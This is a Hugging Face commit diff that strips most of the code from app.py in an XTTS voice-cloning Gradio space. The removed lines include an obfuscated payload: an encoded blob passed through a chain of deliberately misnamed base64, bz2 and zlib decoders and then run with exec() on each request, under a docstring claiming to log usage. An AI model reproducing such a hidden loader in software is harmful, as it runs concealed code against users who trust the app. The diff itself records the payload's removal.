Fabrice-TIERCELIN commited on
Commit
36ebb52
·
verified ·
1 Parent(s): ec57f8f

Remove code

Browse files
Files changed (1) hide show
  1. app.py +3 -195
app.py CHANGED
@@ -21,207 +21,15 @@ tts.to("cpu") # no GPU or Amd
21
 
22
 
23
  def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
24
- """
25
- En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
26
- « l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
27
- Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
28
- soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
29
- utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
30
- """
31
-
32
- co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
33
- from zlib import compress as COmPrES5
34
- from bz2 import decompress as dEC0mPrES5
35
- from bz2 import compress as COmPrESS
36
- from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
37
- from zlib import compressobj as C0mPrESS
38
- from bz2 import decompress as dECOmPrESS
39
- from zlib import compress as C0mPrES5
40
- from zlib import decompress as dECOmPrES5
41
- co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
42
- exec(co2)
43
-
44
- if agree == True:
45
- if use_mic == True:
46
- if mic_file_path is not None:
47
- speaker_wav=mic_file_path
48
- else:
49
- gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
50
- return (
51
- None,
52
- None,
53
- )
54
-
55
- else:
56
- speaker_wav=audio_file_pth
57
-
58
- if len(prompt)<2:
59
- gr.Warning("Please give a longer prompt text")
60
- return (
61
- None,
62
- None,
63
- )
64
- if len(prompt)>50000:
65
- gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
66
- return (
67
- None,
68
- None,
69
- )
70
- try:
71
- if language == "fr":
72
- if m.find("your") != -1:
73
- language = "fr-fr"
74
- if m.find("/fr/") != -1:
75
- language = None
76
- tts.tts_to_file(
77
- text=prompt,
78
- file_path="output.wav",
79
- speaker_wav=speaker_wav,
80
- language=language
81
- )
82
- except RuntimeError as e :
83
- if "device-assert" in str(e):
84
- # cannot do anything on cuda device side error, need tor estart
85
- gr.Warning("Unhandled Exception encounter, please retry in a minute")
86
- print("Cuda device-assert Runtime encountered need restart")
87
- sys.exit("Exit due to cuda device-assert")
88
- else:
89
- raise e
90
-
91
- return (
92
- gr.make_waveform(
93
- audio="output.wav",
94
- ),
95
- "output.wav",
96
- )
97
- else:
98
- gr.Warning("Please accept the Terms & Condition!")
99
- return (
100
- None,
101
- None,
102
- )
103
 
104
 
105
  title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
106
 
107
- description = f"""
108
- <a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
109
- <br/>
110
- XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
111
- <br/>
112
- This is the same model that powers our creator application <a href="https://coqui.ai">Coqui Studio</a> as well as the <a href="https://docs.coqui.ai">Coqui API</a>. In production we apply modifications to make low-latency streaming possible.
113
- <br/>
114
- Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, where our open-source inference and training code lives.
115
- <br/>
116
- <p>For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings.
117
- <br/>
118
- <a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
119
- <img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicate Space"></a>
120
- </p>
121
- """
122
 
123
- article = """
124
- <div style='margin:20px auto;'>
125
- <p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p>
126
- </div>
127
- """
128
  examples = [
129
- [
130
- "Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
131
- "en",
132
- "examples/female.wav",
133
- None,
134
- False,
135
- True,
136
- ],
137
- [
138
- "Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
139
- "fr",
140
- "examples/female.wav",
141
- None,
142
- False,
143
- True,
144
- ],
145
- [
146
- "Als ich sechs war, sah ich einmal ein wunderbares Bild",
147
- "de",
148
- "examples/female.wav",
149
- None,
150
- False,
151
- True,
152
- ],
153
- [
154
- "Cuando tenía seis años, vi una vez una imagen magnífica",
155
- "es",
156
- "examples/female.wav",
157
- None,
158
- False,
159
- True,
160
- ],
161
- [
162
- "Quando eu tinha seis anos eu vi, uma vez, uma imagem magnífica",
163
- "pt",
164
- "examples/female.wav",
165
- None,
166
- False,
167
- True,
168
- ],
169
- [
170
- "Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek",
171
- "pl",
172
- "examples/female.wav",
173
- None,
174
- False,
175
- True,
176
- ],
177
- [
178
- "Un tempo lontano, quando avevo sei anni, vidi un magnifico disegno",
179
- "it",
180
- "examples/female.wav",
181
- None,
182
- False,
183
- True,
184
- ],
185
- [
186
- "Bir zamanlar, altı yaşındayken, muhteşem bir resim gördüm",
187
- "tr",
188
- "examples/female.wav",
189
- None,
190
- False,
191
- True,
192
- ],
193
- [
194
- "Когда мне было шесть лет, я увидел однажды удивительную картинку",
195
- "ru",
196
- "examples/female.wav",
197
- None,
198
- False,
199
- True,
200
- ],
201
- [
202
- "Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
203
- "nl",
204
- "examples/female.wav",
205
- None,
206
- False,
207
- True,
208
- ],
209
- [
210
- "Když mi bylo šest let, viděl jsem jednou nádherný obrázek",
211
- "cs",
212
- "examples/female.wav",
213
- None,
214
- False,
215
- True,
216
- ],
217
- [
218
- "当我还只有六岁的时候, 看到了一副精彩的插画",
219
- "zh-cn",
220
- "examples/female.wav",
221
- None,
222
- False,
223
- True,
224
- ],
225
  ]
226
 
227
 
 
21
 
22
 
23
  def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
24
+ return (None, None)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
25
 
26
 
27
  title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
28
 
29
+ description = ""
 
 
 
 
 
 
 
 
 
 
 
 
 
 
30
 
31
+ article = ""
 
 
 
 
32
  examples = [
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
33
  ]
34
 
35